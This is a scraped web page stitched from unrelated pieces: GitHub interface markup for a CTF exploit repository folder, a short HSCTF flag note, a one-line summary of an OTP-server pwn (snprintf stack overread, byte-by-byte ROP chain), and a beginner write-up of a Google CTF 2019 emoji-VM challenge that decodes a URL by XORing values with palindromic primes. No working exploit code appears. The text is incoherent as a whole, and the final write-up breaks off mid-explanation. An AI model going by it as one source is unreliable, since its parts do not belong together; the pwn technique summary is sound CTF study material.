behavior. Are you sure you want to create this branch?</div>
</div> <footer class="Overlay-footer Overlay-footer--alignEnd"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn"> Cancel</button> <button data-submit-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn-danger btn"> Create</button> </footer></modal-dialog></div>
<div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>CTF_Exploit</span></span></span><span>/</span><span><span>DEFCON_CTF_2019</span></span><span>/</span>speedrun004<span>/</span> </div> </div>
<div class="d-flex"> Go to file </div> </div>
<div class="f4 mt-3 mb-3 d-sm-none"><span><span><span>CTF_Exploit</span></span></span><span>/</span><span><span>DEFCON_CTF_2019</span></span><span>/</span>speedrun004<span>/</span></div>
<div class="Box mb-3" > <div class="Box-header position-relative"> <h2 class="sr-only">Latest commit</h2> <div class="js-details-container Details d-flex rounded-top-2 flex-items-center flex-wrap" data-issue-and-pr-hovercards-enabled> <include-fragment src="/wotmd/CTF_Exploit/tree-commit/f3f30c46853a52ad311085e6fa97df958027b145/DEFCON_CTF_2019/speedrun004" class="d-flex flex-auto flex-items-center" aria-busy="true" aria-label="Loading latest commit"> <div class="Skeleton avatar avatar-user flex-shrink-0 ml-n1 mr-n1 mt-n1 mb-n1" style="width:24px;height:24px;"></div> <div class="Skeleton Skeleton--text col-5 ml-3"> </div></include-fragment> <div class="flex-shrink-0"> <h2 class="sr-only">Git stats</h2> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-history"> <path d="m.427 1.927 1.215 1.215a8.002 8.002 0 1 1-1.6 5.685.75.75 0 1 1 1.493-.154 6.5 6.5 0 1 0 1.18-4.458l1.358 1.358A.25.25 0 0 1 3.896 6H.25A.25.25 0 0 1 0 5.75V2.104a.25.25 0 0 1 .427-.177ZM7.75 4a.75.75 0 0 1 .75.75v2.992l2.028.812a.75.75 0 0 1-.557 1.392l-2.5-1A.751.751 0 0 1 7 8.25v-3.5A.75.75 0 0 1 7.75 4Z"></path></svg> <span> History </span> </div> </div> </div> <h2 id="files" class="sr-only">Files</h2>
<include-fragment src="/wotmd/CTF_Exploit/file-list/master/DEFCON_CTF_2019/speedrun004"> Permalink
<div data-view-component="true" class="include-fragment-error flash flash-error flash-full py-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> Failed to load latest commit information.
</div> <div class="js-details-container Details" data-hpc> <div role="grid" aria-labelledby="files" class="Details-content--hidden-not-important js-navigation-container js-active-navigation-container d-block"> <div class="sr-only" role="row"> <div role="columnheader">Type</div> <div role="columnheader">Name</div> <div role="columnheader" class="d-none d-md-block">Latest commit message</div> <div role="columnheader">Commit time</div> </div> <div role="row" class="Box-row Box-row--focus-gray p-0 d-flex js-navigation-item" > <div role="rowheader" class="flex-auto min-width-0 col-md-2"> <span>. .</span> </div> <div role="gridcell" class="d-none d-md-block"></div> <div role="gridcell"></div> </div>
<div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>attack_speedrun004.py</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>flag.PNG</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>speedrun-004</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> </div> </div>
</include-fragment>
</div>
</div>
</div>
</div>
</turbo-frame>
</main> </div>
</div>
<footer class="footer width-full container-xl p-responsive" role="contentinfo"> <h2 class='sr-only'>Footer</h2>
<div class="position-relative d-flex flex-items-center pb-2 f6 color-fg-muted border-top color-border-muted flex-column-reverse flex-lg-row flex-wrap flex-lg-nowrap mt-6 pt-6"> <div class="list-style-none d-flex flex-wrap col-0 col-lg-2 flex-justify-start flex-lg-justify-between mb-2 mb-lg-0"> <div class="mt-2 mt-lg-0 d-flex flex-items-center"> <svg aria-hidden="true" height="24" viewBox="0 0 16 16" version="1.1" width="24" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg> <span> © 2023 GitHub, Inc. </span> </div> </div>
<nav aria-label='footer' class="col-12 col-lg-8"> <h3 class='sr-only' id='sr-footer-heading'>Footer navigation</h3> Terms Privacy Security Status Docs Contact GitHub Pricing API Training Blog About </nav> </div>
<div class="d-flex flex-justify-center pb-6"> <span></span> </div></footer>
<div id="ajax-error-message" class="ajax-error-message flash flash-error" hidden> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <button type="button" class="flash-close js-ajax-error-dismiss" aria-label="Dismiss error"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> You can’t perform that action at this time. </div>
<div class="js-stale-session-flash flash flash-warn flash-banner" hidden > <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>You signed in with another tab or window. Reload to refresh your session.</span> <span>You signed out in another tab or window. Reload to refresh your session.</span> </div> <template id="site-details-dialog"> <details class="details-reset details-overlay details-overlay-dark lh-default color-fg-default hx_rsm" open> <summary role="button" aria-label="Close dialog"></summary> <details-dialog class="Box Box--overlay d-flex flex-column anim-fade-in fast hx_rsm-dialog hx_rsm-modal"> <button class="Box-btn-octicon m-0 btn-octicon position-absolute right-0 top-0" type="button" aria-label="Close dialog" data-close-dialog> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div class="octocat-spinner my-6 js-details-dialog-spinner"></div> </details-dialog> </details></template>
<div class="Popover js-hovercard-content position-absolute" style="display: none; outline: none;" tabindex="0"> <div class="Popover-message Popover-message--bottom-left Popover-message--large Box color-shadow-large" style="width:360px;"> </div></div>
<template id="snippet-clipboard-copy-button"> <div class="zeroclipboard-container position-absolute right-0 top-0"> <clipboard-copy aria-label="Copy" class="ClipboardButton btn js-clipboard-copy m-2 p-0 tooltipped-no-delay" data-copy-feedback="Copied!" data-tooltip-direction="w"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-copy js-clipboard-copy-icon m-2"> <path d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 0 1 0 1.5h-1.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-1.5a.75.75 0 0 1 1.5 0v1.5A1.75 1.75 0 0 1 9.25 16h-7.5A1.75 1.75 0 0 1 0 14.25Z"></path><path d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0 1 14.25 11h-7.5A1.75 1.75 0 0 1 5 9.25Zm1.75-.25a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Z"></path></svg> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check js-clipboard-check-icon color-fg-success d-none m-2"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> </clipboard-copy> </div></template>
</div>
<div id="js-global-screen-reader-notice" class="sr-only" aria-live="polite" ></div> </body></html>
|
After downloading file Locked.zip```I have just opened it with text editor ( Notepad++)
And i searched for the word: hsctf```and i got what i want. The flag is : hsctf{w0w_z1ps_ar3nt_th@t_secUr3} |
We can forge the return value of `snprintf` and overread the stack.Also we can craft a ROP chain byte by byte using the nonce token.
[writeup](https://ptr-yudai.hatenablog.com/entry/2019/06/03/113943#pwnable-410pts-otp_server) |
# FriendSpaceBookPlusAllAccessRedPremium
Note: The formatting is nicer in the original writeup link.
DISCLAIMER: This is my first CTF writeup and I'm very new to CTF games. Apologies if my terminology is poor. I also tried to write this in a way that is easy for other beginners to follow, including my thought process, so sorry if it's a bit verbose.
The FriendSpaceBookPlusAllAccessRedPremium (FSBPAARP) challenge is one of the beginner challenges from the Google CTF 2019 event, however from various Twitter traffic it seemed to be one of the more difficult problems.
The FSBPAAR challenge comprises of two files:* `vm.py`* `program`
## VM.PY
The `vm.py` script emulates a simple stack-based VM which comprises of three (four?) key components:1. The [stack](https://en.wikipedia.org/wiki/Stack_register)2. The [instruction pointer](https://en.wikipedia.org/wiki/X86_assembly_language#Using_the_instruction_pointer_register)3. [Accumulators](https://en.wikipedia.org/wiki/Accumulator_(computing)) 1 and 2
## PROGRAM
The `program` file consists of an assembly program written entirely in emojis.
## SOLVING THE CHALLENGE### INITIAL IMPRESSIONSThe first step to solving the challenge was to see what we're working with. As such, I ran the program and you can see the output below:
```Running ....http://emoji-t0anax_```
The program starts off generating a URL but quickly grinds to a halt. Somehow, we're going to need to speed it up, or calculate what the output is going to be.
### I CAN'T READ IN EMOJIMy first step to reverse engineering the program was to decode the emojis using the `OPERATIONS` list in `vm.py`. I ended up with a file that looked like this `image here on github`.
This let me follow exactly what was happening in the VM, from the instruction pointer to the stack. The program seemed to be split into four distinct sections: a section of numbers (character sets) loaded into the stack followed by an offset (more on this later), followed by some instructions (three sets) which were then followed by a section of other, different instructions (screenshot above). To visualise this:
```# programinput character set 1offset 1instruction set 1
input character set 2offset 2instruction set 2
input character set 3offset 3instruction set 3
calculation instructions```
I quickly worked out that the instructions after each of the character sets were identical, with the exception of the markers (first 5 characters of the first line), and the set of numbers at the end the first line.
I initially thought these numbers were some kind of random seed, but I was very wrong, as we'll find out.
### BACK TO THE STONE AGEMy first attempt at deciphering the program involved pen and paper. After a couple of hours of trying to understand what was happening by drawing the stack on several pages, I remembered that this was a Python script, and that meant I could start printing out what the program was doing.
From the decoded version of the program I knew which function the program was using to print out each character of the URL. I added a print statement and ran it again.
```391 [0, 17488, 16758, 16599, 16285, 16094, 15505, 15417, 14832, 14450, 13893, 13926, 13437, 12833, 12741, 12533, 11504, 11342, 10503, 10550, 10319, 975, 1007, 892, 893, 660, 743, 267, 344, 264, 339, 208, 216, 242, 172, 74, 49, 119, 113, 119, 1, 104] 2 389h391 [0, 17488, 16758, 16599, 16285, 16094, 15505, 15417, 14832, 14450, 13893, 13926, 13437, 12833, 12741, 12533, 11504, 11342, 10503, 10550, 10319, 975, 1007, 892, 893, 660, 743, 267, 344, 264, 339, 208, 216, 242, 172, 74, 49, 119, 113, 2, 116] 3 389t391 [0, 17488, 16758, 16599, 16285, 16094, 15505, 15417, 14832, 14450, 13893, 13926, 13437, 12833, 12741, 12533, 11504, 11342, 10503, 10550, 10319, 975, 1007, 892, 893, 660, 743, 267, 344, 264, 339, 208, 216, 242, 172, 74, 49, 119, 3, 116] 5 389t391 [0, 17488, 16758, 16599, 16285, 16094, 15505, 15417, 14832, 14450, 13893, 13926, 13437, 12833, 12741, 12533, 11504, 11342, 10503, 10550, 10319, 975, 1007, 892, 893, 660, 743, 267, 344, 264, 339, 208, 216, 242, 172, 74, 49, 4, 112] 7 389p391 [0, 17488, 16758, 16599, 16285, 16094, 15505, 15417, 14832, 14450, 13893, 13926, 13437, 12833, 12741, 12533, 11504, 11342, 10503, 10550, 10319, 975, 1007, 892, 893, 660, 743, 267, 344, 264, 339, 208, 216, 242, 172, 74, 5, 58] 11 389:391 [0, 17488, 16758, 16599, 16285, 16094, 15505, 15417, 14832, 14450, 13893, 13926, 13437, 12833, 12741, 12533, 11504, 11342, 10503, 10550, 10319, 975, 1007, 892, 893, 660, 743, 267, 344, 264, 339, 208, 216, 242, 172, 6, 47] 101 389/391 [0, 17488, 16758, 16599, 16285, 16094, 15505, 15417, 14832, 14450, 13893, 13926, 13437, 12833, 12741, 12533, 11504, 11342, 10503, 10550, 10319, 975, 1007, 892, 893, 660, 743, 267, 344, 264, 339, 208, 216, 242, 7, 47] 131 389/391 [0, 17488, 16758, 16599, 16285, 16094, 15505, 15417, 14832, 14450, 13893, 13926, 13437, 12833, 12741, 12533, 11504, 11342, 10503, 10550, 10319, 975, 1007, 892, 893, 660, 743, 267, 344, 264, 339, 208, 216, 8, 101] 151 389e391 [0, 17488, 16758, 16599, 16285, 16094, 15505, 15417, 14832, 14450, 13893, 13926, 13437, 12833, 12741, 12533, 11504, 11342, 10503, 10550, 10319, 975, 1007, 892, 893, 660, 743, 267, 344, 264, 339, 208, 9, 109] 181 389m391 [0, 17488, 16758, 16599, 16285, 16094, 15505, 15417, 14832, 14450, 13893, 13926, 13437, 12833, 12741, 12533, 11504, 11342, 10503, 10550, 10319, 975, 1007, 892, 893, 660, 743, 267, 344, 264, 339, 10, 111] 191 389o391 [0, 17488, 16758, 16599, 16285, 16094, 15505, 15417, 14832, 14450, 13893, 13926, 13437, 12833, 12741, 12533, 11504, 11342, 10503, 10550, 10319, 975, 1007, 892, 893, 660, 743, 267, 344, 264, 11, 106] 313 389j391 [0, 17488, 16758, 16599, 16285, 16094, 15505, 15417, 14832, 14450, 13893, 13926, 13437, 12833, 12741, 12533, 11504, 11342, 10503, 10550, 10319, 975, 1007, 892, 893, 660, 743, 267, 344, 12, 105] 353 389i391 [0, 17488, 16758, 16599, 16285, 16094, 15505, 15417, 14832, 14450, 13893, 13926, 13437, 12833, 12741, 12533, 11504, 11342, 10503, 10550, 10319, 975, 1007, 892, 893, 660, 743, 267, 13, 45] 373 389-391 [0, 17488, 16758, 16599, 16285, 16094, 15505, 15417, 14832, 14450, 13893, 13926, 13437, 12833, 12741, 12533, 11504, 11342, 10503, 10550, 10319, 975, 1007, 892, 893, 660, 743, 14, 116] 383 389t391 [0, 17488, 16758, 16599, 16285, 16094, 15505, 15417, 14832, 14450, 13893, 13926, 13437, 12833, 12741, 12533, 11504, 11342, 10503, 10550, 10319, 975, 1007, 892, 893, 660, 15, 48] 727 3890391 [0, 17488, 16758, 16599, 16285, 16094, 15505, 15417, 14832, 14450, 13893, 13926, 13437, 12833, 12741, 12533, 11504, 11342, 10503, 10550, 10319, 975, 1007, 892, 893, 16, 97] 757 389```
In the output above, I'm outputing five objects on each line. From left to right:1. The character (e.g. "h")2. The instruction pointer (e.g. 391)3. The stack (e.g. "[0, 17488, 16758, 16599, 16285, 16094, 15505, 15417, 14832, 14450, 13893, 13926, 13437, 12833, 12741, 12533, 11504, 11342, 10503, 10550, 10319, 975, 1007, 892, 893, 660, 743, 267, 344, 264, 339, 208, 216, 242, 172, 74, 49, 119, 113, 119, 1, 104]")4. The value in accumulator 1 (ACC1) (e.g. 2)5. The value in accumulator 1 (ACC2) (e.g. 389)
I knew what each of the values I had in my screenshot were thanks to my pen and paper programming, but the key values are the ones stored in accumulator 1 (i.e. 2, 3, 5, 7, etc.). I knew that the last thing the program did before it printed out an actual character was to apply a binary XOR operation on the last two values on the stack, which meant I actually needed the output of just *before* the XOR operation (because it pops values off the stack). So I moved my print statement:
```390 [0, 17488, 16758, 16599, 16285, 16094, 15505, 15417, 14832, 14450, 13893, 13926, 13437, 12833, 12741, 12533, 11504, 11342, 10503, 10550, 10319, 975, 1007, 892, 893, 660, 743, 267, 344, 264, 339, 208, 216, 242, 172, 74, 49, 119, 113, 119, 1, 106, 2] 2 389h390 [0, 17488, 16758, 16599, 16285, 16094, 15505, 15417, 14832, 14450, 13893, 13926, 13437, 12833, 12741, 12533, 11504, 11342, 10503, 10550, 10319, 975, 1007, 892, 893, 660, 743, 267, 344, 264, 339, 208, 216, 242, 172, 74, 49, 119, 113, 2, 119, 3] 3 389t390 [0, 17488, 16758, 16599, 16285, 16094, 15505, 15417, 14832, 14450, 13893, 13926, 13437, 12833, 12741, 12533, 11504, 11342, 10503, 10550, 10319, 975, 1007, 892, 893, 660, 743, 267, 344, 264, 339, 208, 216, 242, 172, 74, 49, 119, 3, 113, 5] 5 389t390 [0, 17488, 16758, 16599, 16285, 16094, 15505, 15417, 14832, 14450, 13893, 13926, 13437, 12833, 12741, 12533, 11504, 11342, 10503, 10550, 10319, 975, 1007, 892, 893, 660, 743, 267, 344, 264, 339, 208, 216, 242, 172, 74, 49, 4, 119, 7] 7 389p390 [0, 17488, 16758, 16599, 16285, 16094, 15505, 15417, 14832, 14450, 13893, 13926, 13437, 12833, 12741, 12533, 11504, 11342, 10503, 10550, 10319, 975, 1007, 892, 893, 660, 743, 267, 344, 264, 339, 208, 216, 242, 172, 74, 5, 49, 11] 11 389:390 [0, 17488, 16758, 16599, 16285, 16094, 15505, 15417, 14832, 14450, 13893, 13926, 13437, 12833, 12741, 12533, 11504, 11342, 10503, 10550, 10319, 975, 1007, 892, 893, 660, 743, 267, 344, 264, 339, 208, 216, 242, 172, 6, 74, 101] 101 389/390 [0, 17488, 16758, 16599, 16285, 16094, 15505, 15417, 14832, 14450, 13893, 13926, 13437, 12833, 12741, 12533, 11504, 11342, 10503, 10550, 10319, 975, 1007, 892, 893, 660, 743, 267, 344, 264, 339, 208, 216, 242, 7, 172, 131] 131 389/390 [0, 17488, 16758, 16599, 16285, 16094, 15505, 15417, 14832, 14450, 13893, 13926, 13437, 12833, 12741, 12533, 11504, 11342, 10503, 10550, 10319, 975, 1007, 892, 893, 660, 743, 267, 344, 264, 339, 208, 216, 8, 242, 151] 151 389e390 [0, 17488, 16758, 16599, 16285, 16094, 15505, 15417, 14832, 14450, 13893, 13926, 13437, 12833, 12741, 12533, 11504, 11342, 10503, 10550, 10319, 975, 1007, 892, 893, 660, 743, 267, 344, 264, 339, 208, 9, 216, 181] 181 389m390 [0, 17488, 16758, 16599, 16285, 16094, 15505, 15417, 14832, 14450, 13893, 13926, 13437, 12833, 12741, 12533, 11504, 11342, 10503, 10550, 10319, 975, 1007, 892, 893, 660, 743, 267, 344, 264, 339, 10, 208, 191] 191 389o390 [0, 17488, 16758, 16599, 16285, 16094, 15505, 15417, 14832, 14450, 13893, 13926, 13437, 12833, 12741, 12533, 11504, 11342, 10503, 10550, 10319, 975, 1007, 892, 893, 660, 743, 267, 344, 264, 11, 339, 313] 313 389j390 [0, 17488, 16758, 16599, 16285, 16094, 15505, 15417, 14832, 14450, 13893, 13926, 13437, 12833, 12741, 12533, 11504, 11342, 10503, 10550, 10319, 975, 1007, 892, 893, 660, 743, 267, 344, 12, 264, 353] 353 389i390 [0, 17488, 16758, 16599, 16285, 16094, 15505, 15417, 14832, 14450, 13893, 13926, 13437, 12833, 12741, 12533, 11504, 11342, 10503, 10550, 10319, 975, 1007, 892, 893, 660, 743, 267, 13, 344, 373] 373 389-390 [0, 17488, 16758, 16599, 16285, 16094, 15505, 15417, 14832, 14450, 13893, 13926, 13437, 12833, 12741, 12533, 11504, 11342, 10503, 10550, 10319, 975, 1007, 892, 893, 660, 743, 14, 267, 383] 383 389t390 [0, 17488, 16758, 16599, 16285, 16094, 15505, 15417, 14832, 14450, 13893, 13926, 13437, 12833, 12741, 12533, 11504, 11342, 10503, 10550, 10319, 975, 1007, 892, 893, 660, 15, 743, 727] 727 3890390 [0, 17488, 16758, 16599, 16285, 16094, 15505, 15417, 14832, 14450, 13893, 13926, 13437, 12833, 12741, 12533, 11504, 11342, 10503, 10550, 10319, 975, 1007, 892, 893, 16, 660, 757] 757 389a390 [0, 17488, 16758, 16599, 16285, 16094, 15505, 15417, 14832, 14450, 13893, 13926, 13437, 12833, 12741, 12533, 11504, 11342, 10503, 10550, 10319, 975, 1007, 892, 17, 893, 787] 787 389n390 [0, 17488, 16758, 16599, 16285, 16094, 15505, 15417, 14832, 14450, 13893, 13926, 13437, 12833, 12741, 12533, 11504, 11342, 10503, 10550, 10319, 975, 1007, 18, 892, 797] 797 389a390 [0, 17488, 16758, 16599, 16285, 16094, 15505, 15417, 14832, 14450, 13893, 13926, 13437, 12833, 12741, 12533, 11504, 11342, 10503, 10550, 10319, 975, 19, 1007, 919] 919 389```
As you can see, the values we need are the last two in the stack, e.g. 106 and 2 in our first line. The binary XOR of these values is 104, hence the last value of each stack in our first stack screenshot.
### PATTERN MATCHINGThe numbers in accumulator 1 are as follows: `2, 3, 5, 7, 11, 101, 131, 151, 181, 191, 313, 353, 373, 383, 727, 757, 787, 797, 919, 929, 10301, 10501, 10601, 11311, 11411, 12421...`. For those of you who are more familiar with numbers sequences, you may have already picked up on the pattern. Unfortunately, I'm not, so apart from realising that the numbers (apart from the first 4) were palindromic, I was stumped. Eventually, I went out for lunch and had an epiphany: palindromic prime numbers. I quickly Googled a list of prime numbers and confirmed my hunch was correct.
### DECODING THE URLFrom here on it's pretty straightforward. I wrote a Python script to apply a binary XOR to the encoded input values, using palindromic prime numbers.
My first pass at the script was a *very* rudimentary protopype, but it worked:
```python# decoder.pydef is_prime(num): if num > 1: for i in range(2,num): if (num % i) == 0: return False else: return True else: return False
def is_palindrome(num): if str(num) == str(num)[::-1]: return True else: return False
initial_num = 2num = initial_numi = 0# in_val is just a list of encoded input numberswhile i < len(in_val):
found = False while not found: if is_prime(num): if is_palindrome(num): chr_val = in_val[i]^num print("\tin:", in_val[i], "\tkey:", num, "\tchr:", chr_val, "\tout:", chr(chr_val)) found = True num += 1 i += 1```
Which output:```# decoder.py outputin: 106 key: 2 chr: 104 out: hin: 119 key: 3 chr: 116 out: tin: 113 key: 5 chr: 116 out: tin: 119 key: 7 chr: 112 out: pin: 49 key: 11 chr: 58 out: :in: 74 key: 101 chr: 47 out: /in: 172 key: 131 chr: 47 out: /in: 242 key: 151 chr: 101 out: ein: 216 key: 181 chr: 109 out: min: 208 key: 191 chr: 111 out: oin: 339 key: 313 chr: 106 out: jin: 264 key: 353 chr: 105 out: iin: 344 key: 373 chr: 45 out: -in: 267 key: 383 chr: 116 out: tin: 743 key: 727 chr: 48 out: 0in: 660 key: 757 chr: 97 out: ain: 893 key: 787 chr: 110 out: nin: 892 key: 797 chr: 97 out: ain: 1007 key: 919 chr: 120 out: xin: 975 key: 929 chr: 110 out: nin: 10319 key: 10301 chr: 114 out: rin: 10550 key: 10501 chr: 51 out: 3in: 10504 key: 10601 chr: 97 out: ain: 11342 key: 11311 chr: 97 out: ain: 11503 key: 11411 chr: 124 out: |in: 12533 key: 12421 chr: 112 out: pin: 12741 key: 12721 chr: 116 out: tin: 12833 key: 12821 chr: 52 out: 4in: 13437 key: 13331 chr: 110 out: nin: 13926 key: 13831 chr: 97 out: ain: 13893 key: 13931 chr: 46 out: .in: 14450 key: 14341 chr: 119 out: win: 14832 key: 14741 chr: 101 out: ein: 15417 key: 15451 chr: 98 out: bin: 15505 key: 15551 chr: 46 out: .in: 16094 key: 16061 chr: 99 out: cin: 16285 key: 16361 chr: 116 out: tin: 16599 key: 16561 chr: 102 out: fin: 16758 key: 16661 chr: 99 out: cin: 17488 key: 17471 chr: 111 out: o```
This script iterated through integers, checking whether they were a palindromic prime, then applying a binary XOR if they were. Unfortunately, this iteration of the script had two big problems:1. It was slow. Iterating over individual integers is not an efficient method.2. I had no way to offset the starting palindromic prime. Remember the `1` value from earlier (marked with a blue "2")?
